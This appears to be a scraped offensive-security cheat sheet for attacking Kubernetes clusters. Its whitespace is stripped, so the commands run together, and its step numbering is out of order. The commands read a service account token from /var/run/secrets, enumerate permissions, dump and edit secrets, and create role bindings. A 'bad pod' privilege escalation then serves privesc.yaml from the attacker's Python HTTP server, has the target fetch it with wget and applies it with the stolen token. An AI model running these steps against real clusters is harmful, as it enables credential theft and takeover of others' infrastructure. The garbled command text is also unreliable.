A portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. Default ports are 6443, 8443.
Check if the Kubectl Command Available in Target Machine
kubectl-hk0s-hk0skubectl-hmicrok8skubectl-h
If we cannot find kubectl, upload the binary from local machine.
First off, install the kubectl in local machine.
# Get JWTcat/var/run/secrets/kubernetes.io/serviceaccount/token# if we find the token, decode it in https://jwt.io/# Sensitive information in the directoryls-a/var/lib/k0s/containerd/# Check your permissionkubectlauthcan-i--list# /var/run/secrets/kubernetes.io/serviceaccount/tokenkubectlauthcan-i--list--token=<JWT># All informationkubectlgetall# Podskubectlgetpods# -A: List all pods across all namespaceskubectlgetpods-A# Get the detail information abou the pod# -o: Output formatkubectlgetpod<pod-name>-oyaml# Specify the namespacekubectlgetpod<pod-name>-n<namespace>-oyaml# Jobskubectlgetjob-n<namespace># -o: Output detailskubectlgetjob-n<namespace>-ojson# Secretskubectlgetsecretskubectlgetsecrets-n<namespace># Get the specific secretkubectlgetsecret<secret-name>-ojsonkubectlgetsecret<secret-name>-n<namespace>-ojson# Edit the secretkubectleditsecret<secret-name>kubectleditsecret<secret-name>-n<namespace># List all data contained in the specific secretkubectldescribesecret<secret-name>kubectldescribesecret<secret-name>-n<namespace># Create a ServiceAccountkubectlcreateserviceaccountapi-explorer# Bind the ClusterRole to the ServiceAccount# eg. namespace: defaultkubectlcreaterolebindingapi-explorer:log-reader--clusterrolelog-reader--serviceaccountdefault:api-explorer
Investigation via Kubernetes API Server
If we get the JWT, we can fetch information by the following commans.
After that, convert the YAML to JSON using online tools such as the Online Converter.
In the tool, check the “Minimize JSON” to make the json to the one line.
3. Run the New Container to Privilege Escalation
Replace with <image_name> with the one we found in the previous section.
After downloading the yaml file, we need to replace the value of metadata.containers.image with the existing container image that we can find in the target container.
Then start web server to allow the target machine to get this bad pod.
python3-mhttp.server8000
2. Trasfer the Bad Pod to the Target Machine
On the target machine, download the bad pod from your local machine.
wgethttp://<your-local-ip>:8000/privesc.yaml
3. Create the Pod
# Create the podkubectlapply-fprivesc.yaml--token=<JWT># List all podskubectlgetpods--token=<JWT>